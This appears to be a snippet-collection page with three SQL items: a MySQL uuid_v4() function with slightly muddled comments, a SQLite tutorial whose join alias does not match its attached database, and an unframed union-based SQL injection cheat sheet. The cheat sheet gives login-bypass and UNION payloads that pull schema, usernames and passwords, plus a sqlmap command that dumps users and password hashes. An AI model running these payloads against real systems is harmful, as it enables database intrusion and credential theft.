Results for SQL : 3

A custom uuid_v4() function

Here's the function, with comments explaining each group:

CREATE FUNCTION uuid_v4() RETURNS CHAR(36)
BEGIN
    -- 1st group is 8 characters = 4 bytes
    SET @g1 = HEX(RANDOM_BYTES(4));

    -- 2nd group is 4 characters = 2 bytes
    SET @g2 = HEX(RANDOM_BYTES(2));

    -- 3rd group is 4 characters = 2 bytes, starting with a: 4
    SET @g3 = CONCAT('4', SUBSTR(HEX(RANDOM_BYTES(2)), 2, 3));

    -- 4th group is 4 characters = 2 bytes, starting with a: 8, 9, A, or B
    SET @g4 = CONCAT(HEX(FLOOR(ASCII(RANDOM_BYTES(1)) / 64) + 8), SUBSTR(HEX(RANDOM_BYTES(2)), 2, 3));

    -- 1st group is 12 characters = 6 bytes
    SET @g5 = HEX(RANDOM_BYTES(6));

    RETURN LOWER(CONCAT(@g1, '-', @g2, '-', @g3, '-', @g4, '-', @g5));
END;

Here's a version without variables, to remove any overhead they might add:

CREATE FUNCTION uuid_v4() RETURNS CHAR(36)
BEGIN
    RETURN LOWER(CONCAT(
            HEX(RANDOM_BYTES(4)),
            '-', HEX(RANDOM_BYTES(2)),
            '-4', SUBSTR(HEX(RANDOM_BYTES(2)), 2, 3),
            '-', HEX(FLOOR(ASCII(RANDOM_BYTES(1)) / 64) + 8), SUBSTR(HEX(RANDOM_BYTES(2)), 2, 3),
            '-', hex(RANDOM_BYTES(6))
        ));
END;

This uses RANDOM_BYTES() instead of RAND() because the former is non-deterministic and therefore more cryptographically secure, resulting in fewer UUID collisions in the end.

RANDOM_BYTES() was introduced in MySQL v5.6.17 (2014) , and is currently not available in MariaDB.
			

sudo apt-get install sqlite3 libsqlite3-dev

sqlite3 Library.db

CREATE TABLE Users ( 
  SerialNo INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
  Name TEXT NOT NULL,
  Id TEXT NOT NULL UNIQUE,
  Age INTEGER NOT NULL,
  DOJ TEXT NOT NULL );

INSERT INTO Users ( Name, Id, Age, DOJ)
VALUES ( 'Shivam', 'U123', 19, '2015-01-31' );

.read newusers.sql

BEGIN TRANSACTION;

CREATE TABLE NewUsers (
    SerialNo INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
    Name TEXT NOT NULL,
    Id TEXT NOT NULL UNIQUE,
    Age INTEGER NOT NULL,
    DOJ TEXT NOT NULL );

INSERT INTO NewUsers VALUES (1,  'Abraham',     'U123', 19, '2015-02-28');
INSERT INTO NewUsers VALUES (2,  'Michael',     'U124', 23, '2014-12-14');
INSERT INTO NewUsers VALUES (3,  'Steve',       'U125', 35, '2012-11-20');
INSERT INTO NewUsers VALUES (4,  'Ben',         'U126', 15, '2013-05-12');
INSERT INTO NewUsers VALUES (5,  'Alice',       'U127', 17, '2013-03-01');
INSERT INTO NewUsers VALUES (6,  'Christopher', 'U128', 19, '2014-05-03');
INSERT INTO NewUsers VALUES (7,  'Elena',       'U129', 27, '2011-07-14');
INSERT INTO NewUsers VALUES (8,  'Daniel',      'U130', 43, '2010-08-14');
INSERT INTO NewUsers VALUES (9,  'Candice',     'U131', 18, '2014-02-05');
INSERT INTO NewUsers VALUES (10, 'Billy',       'U132', 20, '2015-01-24');
INSERT INTO NewUsers VALUES (11, 'Michael',     'U133', 19, '2013-02-12');
INSERT INTO NewUsers VALUES (12, 'Alice',       'U134', 25, '2010-07-14');
INSERT INTO NewUsers VALUES (13, 'Richard',     'U135', 40, '2011-12-14');
INSERT INTO NewUsers VALUES (14, 'Lester',      'U136', 18, '2014-09-05');
INSERT INTO NewUsers VALUES (15, 'Malvo',       'U137', 21, '2015-01-04');
INSERT INTO NewUsers VALUES (16, 'Alice',       'U138', 19, '2013-02-02');
INSERT INTO NewUsers VALUES (17, 'Drako',       'U139', 24, '2010-12-02');

COMMIT;

SELECT Id, Name, Age, DOJ
FROM NewUsers;

SELECT Id, Name FROM NewUsers
WHERE Age >= 20;

SELECT * FROM NewUsers
WHERE DOJ BETWEEN '2011-12-30' AND '2014-12-30' 
AND Age BETWEEN 17 AND 27;

SELECT * FROM NewUsers
WHERE Age > 20 AND SerialNo > 5;

SELECT * FROM NewUsers
WHERE Age NOT BETWEEN 20 AND 30;

SELECT * FROM NewUsers
WHERE Id IN ('U124', 'U127', 'U129');

SELECT * FROM NewUsers
WHERE Name LIKE "B%l_y";

SELECT EXISTS ( SELECT * FROM NewUsers WHERE Age < 10 );

SELECT * FROM NewUsers
ORDER BY Name ASC;

SELECT * FROM NewUsers
WHERE DOJ > '2013-05-12' ORDER BY Age DESC;

SELECT * FROM NewUsers
LIMIT 3 OFFSET 5;   

SELECT Name, COUNT(Name) FROM NewUsers
GROUP BY Name;

SELECT Name, COUNT(Name) FROM NewUsers
GROUP BY Name HAVING COUNT(Name) > 1;   

SELECT DISTINCT Name
FROM NewUsers ORDER BY Name;        

ATTACH DATABASE 'Library.db' AS 'LIB';

ATTACH DATABASE 'etudiants.db' AS 'ETU';

.databases  

SELECT * FROM LIB.NewUsers
WHERE 1 LIMIT 10;

SELECT LIB.NewUsers.Id, LIB.NewUsers.Name, LIB.NewUsers.Age
FROM LIB.NewUsers
INNER JOIN STU.Students
ON STU.Students.Name = LIB.NewUsers.Name;   

DETACH DATABASE 'LIB';

sqlite3 Library.db '.dump' > LibBackup.sql      

.output output.txt  

$db = new SQLite3('mysqlitedb.db');

$db->exec('CREATE TABLE bar (bar STRING)');


			

[+] Union Based SQL Injection

' or 1=1#

1' ORDER BY 10#

1' UNION SELECT version(),2#

1' UNION SELECT version(),database()#

1' UNION SELECT version(),user()#

1' UNION ALL SELECT table_name,2 from information_schema.tables#

1' UNION ALL SELECT column_name,2 from information_schema.columns where table_name = "users"#

1' UNION ALL SELECT concat(user,char(58),password),2 from users#


sqlmap --url="<url>" -p username --user-agent=SQLMAP --threads=10 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs